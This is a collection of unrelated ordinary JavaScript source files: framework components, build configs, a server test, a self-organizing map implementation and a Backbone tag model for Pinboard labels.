sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoibnVtYmVyLmpzIiwic291cmNlUm9vdCI6IiIsInNvdXJjZXMiOlsiLi4vLi4vLi4vc3JjL2xpYi9udW1iZXIudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBQUE7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7O0dBb0JHO0FBQ0gsTUFBTSxVQUFVLE1BQU0sQ0FBQyxLQUFhO0lBQ2xDLE9BQU8sS0FBSyxHQUFHLENBQUMsQ0FBQztBQUNuQixDQUFDO0FBRUQ7Ozs7Ozs7Ozs7Ozs7Ozs7R0FnQkc7QUFDSCxNQUFNLFVBQVUsS0FBSyxDQUFDLElBQVksRUFBRSxRQUFnQjtJQUNsRCw0RUFBNEU7SUFDNUUsT0FBTyxJQUFJLElBQUksUUFBUSxDQUFDO0FBQzFCLENBQUMifQ==
'use strict'; const angular = require('angular'); const uiRouter = require('angular-ui-router'); import routes from './customerActor.routes'; export class CustomerActorComponent { /*@ngInject*/ constructor($http, $scope, $location, lookupService) { this.$http = $http; this.actorid = lookupService.getActiveActorID(); this.$http({ url: '/api/actors/'+this.actorid, method: "GET" }).then(response => { if(response.status==200){; console.log(response.data); this.actor = response.data; } }); } $onInit() { } } export default angular.module('trapezaApp.customerActor', [uiRouter]) .config(routes) .component('customerActor', { template: require('./customerActor.html'), controller: CustomerActorComponent, controllerAs: 'customerActorCtrl' }) .name;
import Vue from 'vue'; import Vuex from 'vuex'; import { createFlashStore } from 'vuex-flash'; import templates from '../lib/templates'; Vue.use(Vuex); export default new Vuex.Store({ plugins: [ createFlashStore({ variants: [ ...templates.bulma.variants(), ...templates.uikit.variants(), 'primary', 'grey' ] }) ] });
var test = require('tape-catch'); // use tape-catch in common test cases // var test = require('tape'); // use pure tape in case of unexpected exeption to locate it source // 'npm test' in package.json pipes output to tap-notify and tap-dot => output must be raw tap // 'node tests/test.js' => output can be decorated by tap-diff if (!process.env.npm_package_name) { // was launched not from 'npm run' var tapDiff = require('tap-diff'); test.createStream().pipe(tapDiff()).pipe(process.stdout); } var agent = require('supertest'); // var sinon = require('sinon'); var conf = require('../config/config.js'); conf.set('log', 'none'); var app = require('../serv'); app.set('port', conf.get('port')); var server = app.listen(app.get('port'), function() { // run server test('get root without lang header', function (t) { agent(app).get('/') .expect(307) .expect('Location', '/en/') .end(function (err, res) { t.error(err, 'redirect to default lang'); t.end(); }); }); test('get root with lang header', function (t) { agent(app).get('/') .set('Accept-Language', 'ru') .expect(307) .expect('Location', '/ru/') .end(function (err, res) { t.error(err, 'redirect to detected lang'); t.end(); }); }); test('get home', function (t) { agent(app).get('/en/') .expect(200) .expect('Content-Type', /text\/html/) .expect(/Home page/) .end(function (err, res) { t.error(err, 'show home page'); t.end(); }); }); // Next tests deal with real user stored in db, the better way is to stub operations with db test('post auth/enter', function (t) { agent(app).post('/en/auth/enter') .type('form') .send({ login: 'test@mail.com', passw: '12345' }) .expect(200) .expect('set-cookie', /session_id\=[^;]/) .expect('Content-Type', /text\/html/) .expect(/Entering done/) .end(function (err, res) { t.error(err, 'done enter and show message'); t.end(); }); }); test('get auth/exit', function (t) { agent(app).get('/en/auth/exit') .expect(302) .expect('Location', '/en/') .end(function (err, res) { t.error(err, 'done exit and redirect to root'); t.end(); }); }); test('teardown', function (t) { // stub.restore(); // remove sinon.stub t.end(); server.close(function () { // shutdown server process.exit(); }); }); });
import resolve from "@rollup/plugin-node-resolve"; import commonjs from "@rollup/plugin-commonjs"; import { terser } from 'rollup-plugin-terser' import vue from 'rollup-plugin-vue' import css from 'rollup-plugin-css-only' import pkg from './package.json' const name = "VueTinymce" const sourcemap = true pkg.browser = "dist/vue-tinymce.umd.js" const plugins = [] if(process.env.BUILD === 'production'){ plugins.push(terser()) } export default [ { input: 'src/main.js', output: [ { name, file: pkg.browser, format: 'umd', exports: 'named', sourcemap }, { name, file: pkg.main, format: 'cjs', exports: 'named', sourcemap }, { name, file: pkg.module, format: 'es', exports: 'named', sourcemap }, ], plugins: [ resolve(), commonjs(), css(), vue({ css: false }), ...plugins ] }, { input: "docs/main.js", output: [ { name:"bundle", file:"docs/assets/bundle.js", format: "umd", exports: "named", sourcemap, globals:{ vue:"Vue", tinymce: "tinymce" } } ], external: ['vue', 'tinymce'], plugins: [ resolve(), commonjs(), ] } ]
'use strict'; var squareEuclidean = require('ml-euclidean-distance').squared; var NodeSquare = require('./node-square'), NodeHexagonal = require('./node-hexagonal'); var defaultOptions = { fields: 3, randomizer: Math.random, distance: squareEuclidean, iterations: 10, learningRate: 0.1, gridType: 'rect', torus: true, method: 'random' }; function SOM(x, y, options, reload) { this.x = x; this.y = y; options = options || {}; this.options = {}; for (var i in defaultOptions) { if (options.hasOwnProperty(i)) { this.options[i] = options[i]; } else { this.options[i] = defaultOptions[i]; } } if (typeof this.options.fields === 'number') { this.numWeights = this.options.fields; } else if (Array.isArray(this.options.fields)) { this.numWeights = this.options.fields.length; var converters = getConverters(this.options.fields); this.extractor = converters.extractor; this.creator = converters.creator; } else { throw new Error('Invalid fields definition'); } if (this.options.gridType === 'rect') { this.NodeType = NodeSquare; this.gridDim = { x: x, y: y }; } else { this.NodeType = NodeHexagonal; var hx = this.x - Math.floor(this.y / 2); this.gridDim = { x: hx, y: this.y, z: -(0 - hx - this.y) }; } this.torus = this.options.torus; this.distanceMethod = this.torus ? 'getDistanceTorus' : 'getDistance'; this.distance = this.options.distance; this.maxDistance = getMaxDistance(this.distance, this.numWeights); if (reload === true) { // For model loading this.done = true; return; } if (!(x > 0 && y > 0)) { throw new Error('x and y must be positive'); } this.times = { findBMU: 0, adjust: 0 }; this.randomizer = this.options.randomizer; this.iterationCount = 0; this.iterations = this.options.iterations; this.startLearningRate = this.learningRate = this.options.learningRate; this.mapRadius = Math.floor(Math.max(x, y) / 2); this.algorithmMethod = this.options.method; this.initNodes(); this.done = false; } SOM.load = function loadModel(model, distance) { if (model.name === 'SOM') { var x = model.data.length, y = model.data[0].length; if (distance) { model.options.distance = distance; } var som = new SOM(x, y, model.options, true); som.nodes = new Array(x); for (var i = 0; i < x; i++) { som.nodes[i] = new Array(y); for (var j = 0; j < y; j++) { som.nodes[i][j] = new som.NodeType(i, j, model.data[i][j], som); } } return som; } else { throw new Error('expecting a SOM model'); } }; SOM.prototype.export = function exportModel() { var model = { name: 'SOM' }; model.options = { fields: this.options.fields, gridType: this.options.gridType, torus: this.options.torus }; model.data = new Array(this.x); for (var i = 0; i < this.x; i++) { model.data[i] = new Array(this.y); for (var j = 0; j < this.y; j++) { model.data[i][j] = this.nodes[i][j].weights; } } if (!this.done) { model.ready = false; } return model; }; SOM.prototype.initNodes = function initNodes() { var now = Date.now(), i, j, k; this.nodes = new Array(this.x); for (i = 0; i < this.x; i++) { this.nodes[i] = new Array(this.y); for (j = 0; j < this.y; j++) { var weights = new Array(this.numWeights); for (k = 0; k < this.numWeights; k++) { weights[k] = this.randomizer(); } this.nodes[i][j] = new this.NodeType(i, j, weights, this); } } this.times.initNodes = Date.now() - now; }; SOM.prototype.setTraining = function setTraining(trainingSet) { if (this.trainingSet) { throw new Error('training set has already been set'); } var now = Date.now(); var convertedSet = trainingSet; var i, l = trainingSet.length; if (this.extractor) { convertedSet = new Array(l); for (i = 0; i < l; i++) { convertedSet[i] = this.extractor(trainingSet[i]); } } this.numIterations = this.iterations * l; if (this.algorithmMethod === 'random') { this.timeConstant = this.numIterations / Math.log(this.mapRadius); } else { this.timeConstant = l / Math.log(this.mapRadius); } this.trainingSet = convertedSet; this.times.setTraining = Date.now() - now; }; SOM.prototype.trainOne = function trainOne() { if (this.done) { return false; } else if (this.numIterations-- > 0) { var neighbourhoodRadius, trainingValue, trainingSetFactor; if (this.algorithmMethod === 'random') { // Pick a random value of the training set at each step neighbourhoodRadius = this.mapRadius * Math.exp(-this.iterationCount / this.timeConstant); trainingValue = getRandomValue(this.trainingSet, this.randomizer); this.adjust(trainingValue, neighbourhoodRadius); this.learningRate = this.startLearningRate * Math.exp(-this.iterationCount / this.numIterations); } else { // Get next input vector trainingSetFactor = -Math.floor(this.iterationCount / this.trainingSet.length); neighbourhoodRadius = this.mapRadius * Math.exp(trainingSetFactor / this.timeConstant); trainingValue = this.trainingSet[this.iterationCount % this.trainingSet.length]; this.adjust(trainingValue, neighbourhoodRadius); if (((this.iterationCount + 1) % this.trainingSet.length) === 0) { this.learningRate = this.startLearningRate * Math.exp(trainingSetFactor / Math.floor(this.numIterations / this.trainingSet.length)); } } this.iterationCount++; return true; } else { this.done = true; return false; } }; SOM.prototype.adjust = function adjust(trainingValue, neighbourhoodRadius) { var now = Date.now(), x, y, dist, influence; var bmu = this.findBestMatchingUnit(trainingValue); var now2 = Date.now(); this.times.findBMU += now2 - now; var radiusLimit = Math.floor(neighbourhoodRadius); var xMin = bmu.x - radiusLimit, xMax = bmu.x + radiusLimit, yMin = bmu.y - radiusLimit, yMax = bmu.y + radiusLimit; for (x = xMin; x <= xMax; x++) { var theX = x; if (x < 0) { theX += this.x; } else if (x >= this.x) { theX -= this.x; } for (y = yMin; y <= yMax; y++) { var theY = y; if (y < 0) { theY += this.y; } else if (y >= this.y) { theY -= this.y; } dist = bmu[this.distanceMethod](this.nodes[theX][theY]); if (dist < neighbourhoodRadius) { influence = Math.exp(-dist / (2 * neighbourhoodRadius)); this.nodes[theX][theY].adjustWeights(trainingValue, this.learningRate, influence); } } } this.times.adjust += (Date.now() - now2); }; SOM.prototype.train = function train(trainingSet) { if (!this.done) { this.setTraining(trainingSet); var needTrain = true; while (needTrain){ needTrain = this.trainOne(); } } }; SOM.prototype.getConvertedNodes = function getConvertedNodes() { var result = new Array(this.x); for (var i = 0; i < this.x; i++) { result[i] = new Array(this.y); for (var j = 0; j < this.y; j++) { var node = this.nodes[i][j]; result[i][j] = this.creator ? this.creator(node.weights) : node.weights; } } return result; }; SOM.prototype.findBestMatchingUnit = function findBestMatchingUnit(candidate) { var bmu, lowest = Infinity, dist; for (var i = 0; i < this.x; i++) { for (var j = 0; j < this.y; j++) { dist = this.distance(this.nodes[i][j].weights, candidate); if (dist < lowest) { lowest = dist; bmu = this.nodes[i][j]; } } } return bmu; }; SOM.prototype.predict = function predict(data, computePosition) { if (typeof data === 'boolean') { computePosition = data; data = null; } if (!data) { data = this.trainingSet; } if (Array.isArray(data) && (Array.isArray(data[0]) || (typeof data[0] === 'object'))) { // predict a dataset var self = this; return data.map(function (element) { return self.predictOne(element, computePosition); }); } else { // predict a single element return this.predictOne(data, computePosition); } }; SOM.prototype.predictOne = function predictOne(element, computePosition) { if (!Array.isArray(element)) { element = this.extractor(element); } var bmu = this.findBestMatchingUnit(element); var result = [bmu.x, bmu.y]; if (computePosition) { result[2] = bmu.getPosition(element); } return result; }; // As seen in http://www.scholarpedia.org/article/Kohonen_network SOM.prototype.getQuantizationError = function getQuantizationError() { var fit = this.getFit(), l = fit.length, sum = 0; for (var i = 0; i < l; i++) { sum += fit[i]; } return sum / l; }; SOM.prototype.getFit = function getFit(dataset) { if (!dataset) { dataset = this.trainingSet; } var l = dataset.length, bmu, result = new Array(l); for (var i = 0; i < l; i++) { bmu = this.findBestMatchingUnit(dataset[i]); result[i] = Math.sqrt(this.distance(dataset[i], bmu.weights)); } return result; }; SOM.prototype.getUMatrix = function getUMatrix() { var matrix = new Array(this.x); for (var i = 0; i < this.x; i++) { matrix[i] = new Array(this.y); for (var j = 0; j < this.y; j++) { var node = this.nodes[i][j], nX = node.getNeighbors('x'), nY = node.getNeighbors('y'); var sum = 0, total = 0, self = this; if(nX[0]) { total++; sum += self.distance(node.weights, nX[0].weights); } if(nX[1]) { total++; sum += self.distance(node.weights, nX[1].weights); } if(nY[0]) { total++; sum += self.distance(node.weights, nY[0].weights); } if(nY[1]) { total++; sum += self.distance(node.weights, nY[1].weights); } matrix[i][j] = sum / total; } } return matrix; }; function getConverters(fields) { var l = fields.length, normalizers = new Array(l), denormalizers = new Array(l), range; for (var i = 0; i < l; i++) { range = fields[i].range; normalizers[i] = getNormalizer(range[0], range[1]); denormalizers[i] = getDenormalizer(range[0], range[1]); } return { extractor: function extractor(value) { var result = new Array(l); for (var j = 0; j < l; j++) { result[j] = normalizers[j](value[fields[j].name]); } return result; }, creator: function creator(value) { var result = {}; for (var j = 0; j < l; j++) { result[fields[j].name] = denormalizers[j](value[j]); } return result; } }; } function getNormalizer(min, max) { return function normalizer(value) { return (value - min) / (max - min); }; } function getDenormalizer(min, max) { return function denormalizer(value) { return (min + value * (max - min)); }; } function getRandomValue(arr, randomizer) { return arr[Math.floor(randomizer() * arr.length)]; } function getMaxDistance(distance, numWeights) { var zero = new Array(numWeights), one = new Array(numWeights); for (var i = 0; i < numWeights; i++) { zero[i] = 0; one[i] = 1; } return distance(zero, one); } module.exports = SOM;
var path = require('path'); var fs = require('fs.extra'); var dot = require('dot'); function Template(){ var that = this; var templateDir = ''; var templateFunc = function(data) {return data;} function loadTemplates(){ var currentFolder = process.cwd(); var parents = currentFolder.split(path.sep); for(var i=0; i< parents.length; i++){ var tplDir = path.join(currentFolder, 'qdoc_templates'); if(fs.existsSync(tplDir)){ var templateContent = fs.readFileSync(path.join(tplDir,'index.html'), 'utf8'); templateFunc = dot.template(templateContent); templateDir = tplDir; break ; }else{ currentFolder = path.join(currentFolder, '..'); } } } this.apply = function(file, data, targetDir){ if(templateDir === '') return data; if(file.target.ext != 'html') return data; data = templateFunc({content: data, path: targetDir}); return data; } this.getTemplateDir = function(){ return templateDir; } /////INIT////// loadTemplates(); } module.exports = Template;
var execSync = require('child_process').execSync; // let it only run once console.log('> Building files (lerna).') try { execSync( 'lerna run build', (error, stdout) => console.log(stdout, error) ); } catch(e) { console.error(e.stdout.toString('utf8')); process.exit(1); } console.log(' Done.')
const pkg = require('../package'); const paths = require('./paths'); const umdConfig = { devtool: 'source-map', output: { library: `${pkg.name}`, libraryTarget: 'umd', path: paths.distUmd, umdNamedDefine: true, }, }; module.exports = umdConfig;
import { computed } from '@ember/object'; import ContextualHelp from './bs-contextual-help'; import layout from 'ember-bootstrap/templates/components/bs-popover'; /** Component that implements Bootstrap [popovers](http://getbootstrap.com/javascript/#popovers). By default it will attach its listeners (click) to the parent DOM element to trigger the popover: ```hbs <button class="btn"> <BsPopover @title="this is a title">and this the body</BsPopover> </button> ``` ### Trigger The trigger element is the DOM element that will cause the popover to be shown when one of the trigger events occur on that element. By default the trigger element is the parent DOM element of the component, and the trigger event will be "click". The `triggerElement` property accepts any CSS selector to attach the popover to any other existing DOM element. With the special value "parentView" you can attach the popover to the DOM element of the parent component: ```hbs <MyComponent> <BsPopover @triggerElement="parentView">This is a popover</BsPopover> </MyComponent> ``` To customize the events that will trigger the popover use the `triggerEvents` property, that accepts an array or a string of events, with "hover", "focus" and "click" being supported. ### Placement options By default the popover will show up to the right of the trigger element. Use the `placement` property to change that ("top", "bottom", "left" and "right"). To make sure the popover will not exceed the viewport (see Advanced customization) you can set `autoPlacement` to true. A popover with `placement="right" will be placed to the right if there is enough space, otherwise to the left. ### Advanced customization Several other properties allow for some advanced customization: * `visible` to show/hide the popover programmatically * `fade` to disable the fade in transition * `delay` (or `delayShow` and `delayHide`) to add a delay * `viewportSelector` and `viewportPadding` to customize the viewport that affects `autoPlacement` * a `close` action is yielded, that allows you to close the tooltip: ```hbs <BsPopover as |po| >This is a popover <button onclick={{action po.close}}>Close</button></BsPopover> ``` See the individual API docs for each property. ### Actions When you want to react on the popover being shown or hidden, you can use one of the following supported actions: * `onShow` * `onShown` * `onHide` * `onHidden` @class Popover @namespace Components @extends Components.ContextualHelp @public */ export default ContextualHelp.extend({ layout, /** * @property placement * @type string * @default 'right' * @public */ placement: 'right', /** * @property triggerEvents * @type array|string * @default 'click' * @public */ triggerEvents: 'click', /** * @property elementComponent * @type {String} * @private */ elementComponent: 'bs-popover/element', /** * The DOM element of the arrow element. * * @property arrowElement * @type object * @readonly * @private */ arrowElement: computed('overlayElement', function() { return this.get('overlayElement').querySelector('.arrow'); }) });
var utils = require('../../utils'); const linz = require('../../../'); /** * Multiselect list filter. * @param {Array} list The list array. * @param {Boolean} multiple Enable multiselect. * @param {Object} options Filter options. * @param {Boolean} options.parseNumber Optionally parse the value as a number (This will break filtering by phone numbers). * @return {Object} Returns the filter object. */ module.exports = function (list, multiple, options) { const settings = Object.assign({}, { parseNumber: false, }, options); if (!list) { throw new Error ('List paramenter is missing for the list filter'); } if (!Array.isArray(list) && typeof list !== 'function') { throw new Error('List paramenter must either be an array or a function.'); } var renderHTML = function renderHTML (fieldName, data, form) { var html = '<select name="' + fieldName + '[]" class="form-control multiselect"' + ((multiple) ? ' multiple' : '') + '>'; if (data) { data.forEach(function (obj) { var selected = ''; if (form && form[fieldName]) { const values = form[fieldName].map(value => utils.parseString(value, { parseNumber: settings.parseNumber, })); selected = values.indexOf(obj.value) >= 0 ? ' selected': ''; } html += '<option value="' + linz.api.util.escape(obj.value) + '"' + selected + '>' + linz.api.util.escape(obj.label) + '</option>'; }); } html += '</select>'; return html; }; var wrapInTemplate = function wrapInTemplate (html) { return '<template>' + html + '</template>'; }; return { renderer: function multiSelectFilterRenderer (fieldName, callback) { if (Array.isArray(list)) { var results = utils.labelValueArray(list); html = renderHTML(fieldName, results, {}); return callback(null, wrapInTemplate(html)); } // list is a function, let's execute it list(function (err, results) { if (err) { return callback(err); } var html = renderHTML(fieldName, results, {}); return callback(null, wrapInTemplate(html)); }); }, filter: function multiSelectFilterFilter(fieldName, form, callback) { var obj = {}; obj[fieldName] = { $in: form[fieldName].map(value => utils.parseString(value, { parseNumber: settings.parseNumber, })), }; return callback(null, obj); }, bind: function multiSelectFilterBinder (fieldName, form, callback) { if (Array.isArray(list)) { var results = utils.labelValueArray(list); html = [renderHTML(fieldName, results, form)]; return callback(null, html); } // list is a function, let's execute it list(function (err, results) { if (err) { return callback(err); } var html = [renderHTML(fieldName, results, form)]; return callback(null, html); }); } }; }
export const SLACK_CLIENT_SECRET = process.env.GONI_SLACK_SECRET || 'client_secret';
define(['core/dom'], function (dom) { /** * Style */ var Style = function () { // para level style this.stylePara = function (rng, oStyle) { var aPara = rng.listPara(); $.each(aPara, function (idx, elPara) { $.each(oStyle, function (sKey, sValue) { elPara.style[sKey] = sValue; }); }); }; // get current style, elTarget: target element on event. this.current = function (rng, elTarget) { var $cont = $(dom.isText(rng.sc) ? rng.sc.parentNode : rng.sc); var oStyle = $cont.css(['font-size', 'text-align', 'list-style-type', 'line-height']) || {}; oStyle['font-size'] = parseInt(oStyle['font-size']); // document.queryCommandState for toggle state oStyle['font-bold'] = document.queryCommandState('bold') ? 'bold' : 'normal'; oStyle['font-italic'] = document.queryCommandState('italic') ? 'italic' : 'normal'; oStyle['font-underline'] = document.queryCommandState('underline') ? 'underline' : 'normal'; // list-style-type to list-style(unordered, ordered) if (!rng.isOnList()) { oStyle['list-style'] = 'none'; } else { var aOrderedType = ['circle', 'disc', 'disc-leading-zero', 'square']; var bUnordered = $.inArray(oStyle['list-style-type'], aOrderedType) > -1; oStyle['list-style'] = bUnordered ? 'unordered' : 'ordered'; } var elPara = dom.ancestor(rng.sc, dom.isPara); if (elPara && elPara.style['line-height']) { oStyle['line-height'] = elPara.style.lineHeight; } else { var lineHeight = parseInt(oStyle['line-height']) / parseInt(oStyle['font-size']); oStyle['line-height'] = lineHeight.toFixed(1); } oStyle.image = dom.isImg(elTarget) && elTarget; oStyle.anchor = rng.isOnAnchor() && dom.ancestor(rng.sc, dom.isAnchor); oStyle.aAncestor = dom.listAncestor(rng.sc, dom.isEditable); return oStyle; }; }; return Style; });
import { __ } from 'embark-i18n'; const async = require('async'); const stringReplaceAsync = require('string-replace-async'); const {callbackify} = require('util'); class ListConfigs { constructor(embark) { this.embark = embark; this.events = embark.events; this.logger = embark.logger; this.config = embark.config; } beforeAllDeployAction(cb) { return cb(); } async afterAllDeployAction(cb) { let afterDeployCmds = this.config.contractsConfig.afterDeploy || []; async.mapLimit(afterDeployCmds, 1, (cmd, nextMapCb) => { async.waterfall([ (next) => { this.replaceWithAddresses(cmd, next); }, this.replaceWithENSAddress.bind(this) ], nextMapCb); }, (err, onDeployCode) => { if (err) { this.logger.trace(err); return cb(new Error("error running afterDeploy")); } this.runOnDeployCode(onDeployCode, cb); }); } async doOnDeployAction(contract, cb) { let onDeployCmds = contract.onDeploy; async.mapLimit(onDeployCmds, 1, (cmd, nextMapCb) => { async.waterfall([ (next) => { this.replaceWithAddresses(cmd, next); }, this.replaceWithENSAddress.bind(this) ], (err, code) => { if (err) { this.logger.error(err.message || err); return nextMapCb(); // Don't return error as we just skip the failing command } nextMapCb(null, code); }); }, (err, onDeployCode) => { if (err) { return cb(new Error("error running onDeploy for " + contract.className.cyan)); } this.runOnDeployCode(onDeployCode, cb, contract.silent); }); } async deployIfAction(params, cb) { let cmd = params.contract.deployIf; this.events.request('runcode:eval', cmd, (err, result) => { if (err) { this.logger.error(params.contract.className + ' deployIf directive has an error; contract will not deploy'); this.logger.error(err.message || err); params.shouldDeploy = false; } else if (!result) { this.logger.info(params.contract.className + ' deployIf directive returned false; contract will not deploy'); params.shouldDeploy = false; } cb(null, params); }); } runOnDeployCode(onDeployCode, callback, silent) { const logFunction = silent ? this.logger.trace.bind(this.logger) : this.logger.info.bind(this.logger); async.each(onDeployCode, (cmd, eachCb) => { if (!cmd) { return eachCb(); } logFunction("==== executing: " + cmd); this.events.request('runcode:eval', cmd, (err) => { if (err && err.message.indexOf("invalid opcode") >= 0) { this.logger.error('the transaction was rejected; this usually happens due to a throw or a require, it can also happen due to an invalid operation'); } eachCb(err); }); }, callback); } replaceWithENSAddress(cmd, callback) { const replaceWithENSAddress = (cmd) => { let regex = /\'[a-zA-Z0-9.]+\.eth\'/g; return stringReplaceAsync.seq(cmd, regex, (ensDomain) => { ensDomain = ensDomain.slice(1, ensDomain.length - 1); return (new Promise((resolve, reject) => { this.events.request("namesystem:resolve", ensDomain, (err, address) => { if (err) { return reject(new Error(err)); } address = `'${address}'`; return resolve(address); }); })); }); }; if (callback) { return callbackify(replaceWithENSAddress)(cmd, callback); } return replaceWithENSAddress(cmd); } replaceWithAddresses(cmd, callback) { const replaceWithAddresses = (cmd) => { let regex = /\$\w+\[?\d?\]?/g; return stringReplaceAsync.seq(cmd, regex, (match, index) => { return (new Promise((resolve, reject) => { if (match.startsWith('$accounts')) { let accountIndex = cmd.substring(index + 10, index + 12); accountIndex = parseInt(accountIndex, 10); return this.events.request('blockchain:getAccounts', (err, accounts) => { if (err) { return reject('Error getting accounts: ' + err.message || err); } if (!accounts[accountIndex]) { return reject(__('No corresponding account at index %d', accountIndex)); } resolve(accounts[accountIndex]); }); } let referedContractName = match.slice(1); this.events.request('contracts:contract', referedContractName, (_err, referedContract) => { if (!referedContract) { this.logger.error(referedContractName + ' does not exist'); this.logger.error("error running cmd: " + cmd); return reject(new Error("ReferedContractDoesNotExist")); } if (referedContract && referedContract.deploy === false) { this.logger.error(referedContractName + " exists but has been set to not deploy"); this.logger.error("error running cmd: " + cmd); return reject(new Error("ReferedContracSetToNotdeploy")); } if (referedContract && !referedContract.deployedAddress) { this.logger.error( "couldn't find a valid address for " + referedContractName + ". has it been deployed?" ); this.logger.error("error running cmd: " + cmd); return reject(new Error("ReferedContractAddressNotFound")); } return resolve(referedContract.deployedAddress); }); })); }); }; if (callback) { return callbackify(replaceWithAddresses)(cmd, callback); } return replaceWithAddresses(cmd); } } module.exports = ListConfigs;
var path = require("path"), express = require("express") module.exports = { setup: function () { this.express.on("creation", this.attachConfiguration) }, attachConfiguration: function (app) { this.app = app app.configure(this.configure) app.configure("development", developmentConfigure) }, configure: function () { var app = this.app app.set('views', path.join(__dirname, "../../public/views")) app.set('view engine', 'jade') app.use(express.favicon()) app.use(express.static(path.join(__dirname, "../../public"))) app.use(express.bodyParser()) app.use(express.methodOverride()) Object.keys(this.middlewares).forEach(attachMiddleware, this) app.use(app.router) function attachMiddleware(name) { this.app.use(this.middlewares[name].middleware) } } } function developmentConfigure() { this.use(express.errorHandler({ dumpException: true, showStack: true })) this.use(express.logger('dev')) }
var app; var tmtopup; var iframe; Polymer({ is: "topup-tmtopup", ready: function() { tmtopup = this; this.showtopup = true; this.userid = app.user.id; iframe = document.createElement("IFRAME"); iframe.style.display = "hidden"; iframe.setAttribute("src", "/assets/core/components/topup-tmtopup/tmt-custom3rd.html"); document.body.appendChild(iframe); console.log("tmtopup ready!"); }, submitTopup: function() { submit_tmnc(); }, submitPayment: function() { submit_payment(); } }); function getPid() { return iframe.contentWindow.getPid(); } function encode_tmnc(tmn_password) { return iframe.contentWindow.encode_tmnc(tmn_password); }
/** * All labels are tags. Not all tags are labels. */ var Tag = Backbone.RelationalModel.extend({ localStorage: new Backbone.LocalStorage("tag"), relations: [{ type: 'HasMany', key: 'children', relatedModel: 'Tag', collectionType: 'TagSet', reverseRelation: { key: 'parent', includeInJSON: false } }], defaults: { tag: "", // string; .~Alpha/Bravo/Charlie (the original Pinboard tag) bookmarkCount: 0, // integer; number of bookmarks selected: false // boolean; whether this is the currently selected tag or not }, initialize: function() { App.vent.on("tag:selected", this.unselect, this); }, /** * Toggle the `selected` boolean and trigger an app event for this tag having * been selected. */ selected: function() { this.save("selected", ! this.get("selected")); App.vent.trigger('tag:selected', this); }, /** * If this tag is not the tag the user clicked on, and it's currently * selected, flip `selected` to false. */ unselect: function(tagModel) { if(this != tagModel) { if(this.get("selected")) { this.save("selected", false); } } }, /** * Return the Pinboard tag (e.g. ~Alpha/Bravo) */ getTag: function() { return this.get("tag"); }, /** * Return the number of bookmarks for this tag. */ getBookmarkCount: function() { return this.get("bookmarkCount"); }, /** * Return this tag's child tags. */ getChildren: function() { return this.get("children"); }, /** * Return this tag's token (e.g. `.~Alpha` becomes `Alpha`) */ getToken: function() { return Tag.tokenify(this.getTag()); }, /** * Return the title of the tag (e.g. `~Cats/My_Cats` becomes `My Cats`) */ getTitle: function() { var token = this.getToken(); var reversedToken = token.split("").reverse().join(""); var indexOfSlash = reversedToken.indexOf(Tag.HIERARCHY_CHAR); if(indexOfSlash != -1) { token = token.slice(token.length - indexOfSlash, token.length); } var regex = new RegExp(Tag.SPACE_CHAR,"g"); return token.replace(regex," "); }, /** * Returns whether or not this tag is private (preceeded by a .) */ isPrivate: function() { return Tag.isPrivate(this.getTag()); }, /** * Returns whether or not this tag is a label (preceeded by a ~) */ isLabel: function() { return Tag.isLabel(this.getTag()); } }); /* Tag constants */ Tag.LABEL_CHAR = "~"; // character used to identify labels Tag.PRIVATE_CHAR = "."; // character used to identify private tags/labels Tag.HIERARCHY_CHAR = "/"; // character used to represent hierarchy Tag.SPACE_CHAR = "_"; // character used to represent spaces /* Additional Tag functions (these needed to be able to be used without a instance of a Tag) */ /** * Convert a tag string to a token (e.g. `.~Alpha` becomes `Alpha`) */ Tag.tokenify = function(tag) { if(this.isPrivate(tag)) { tag = tag.slice(1); } if(Tag.isLabel(tag)) { tag = tag.slice(1); } return tag; }; /** * Returns whether or not a tag string is a label (preceeded by a ~) */ Tag.isLabel = function(tag) { return tag[0] === this.LABEL_CHAR || (this.isPrivate(tag) && tag[1] === this.LABEL_CHAR); }; /** * Returns whether or not a tag string is private (preceeded by a .) */ Tag.isPrivate = function(tag) { return tag[0] === this.PRIVATE_CHAR; }; /** * If a tag is private, return a tag that's not private (remove the .) */ Tag.deprivatize = function(tag) { if(this.isPrivate(tag)) { tag = tag.slice(1); } return tag; } /** * `createLabelTree` takes the bookmarks JSON from the Pinboard API, loops * through each bookmark, then each bookmark's tags, and create's a label tree. */ Tag.createLabelTree = function(rootLabel, bookmarksObj) { var self = this; _.each(bookmarksObj, function(bookmarkObj) { var tags = bookmarkObj["tags"]; if(tags != "") { _.each(tags.split(" "), function(tagString) { //console.log(tagString); if(self.isLabel(tagString)) { self.findOrCreateLabel(rootLabel, 0, tagString); } else { // do something with tags } }); } }); return rootLabel; }; /** * `findOrCreateLabel` takes a label (parentLabel), e.g. ~Alpha/Bravo/Charlie, * and recursively finds or creates labels for each part of the string. The * function would create ~Alpha, then ~Alpha/Bravo, and finally * ~Alpha/Bravo/Charlie. */ Tag.findOrCreateLabel = function(parentLabel, startPos, tagString) { var originalTagString = ""; // for use in recursive calls // Find the first slash after the start position (starts at 0, startPos // increases to match the indexOfSlash on each recursive call) */ var indexOfSlash = tagString.indexOf(Tag.HIERARCHY_CHAR, startPos+1); // a derivedLabel means we're not working with the original tagString // and we still have some recursion to do. var derivedLabel = (indexOfSlash >= 0); //console.log("[START] startPos: " + startPos + " | tagString: " + tagString); if(derivedLabel) { originalTagString = tagString; tagString = tagString.slice(0, indexOfSlash); } //console.log("derivedLabel: " + derivedLabel + " | tagString: " + tagString); var token = Tag.tokenify(tagString); var label = parentLabel ? parentLabel.getChildren().find(function(l){ return l.getToken() == token }) : false; //console.log("label found? " + (label ? 'true' : 'false')); if(label) { if(! derivedLabel) { label.set({"bookmarkCount": label.get("bookmarkCount") + 1}); } // Fixing cases where we encounter a private label with children // (e.g. .~Alpha/Bravo) and then we encounter a non-private parent label in // the future (e.g. ~Alpha). if(! Tag.isPrivate(tagString) && label.isPrivate()) { label.set({"tag": Tag.deprivatize(tagString)}); } } else { label = new Tag({ "tag": tagString, "bookmarkCount": (derivedLabel ? 0 : 1), "parent": parentLabel }); parentLabel.get("children").sort(); //console.log("=> tag: " +label.get("tag") + " | bookmarkCount: " + label.get("bookmarkCount") + " | parent: " + parentLabel.get("tag")); } // more segments to process; we'll need to recurse if(derivedLabel) { this.findOrCreateLabel(label, indexOfSlash, originalTagString, false); } //console.log(JSON.stringify(label.get("tag"))); return label; };
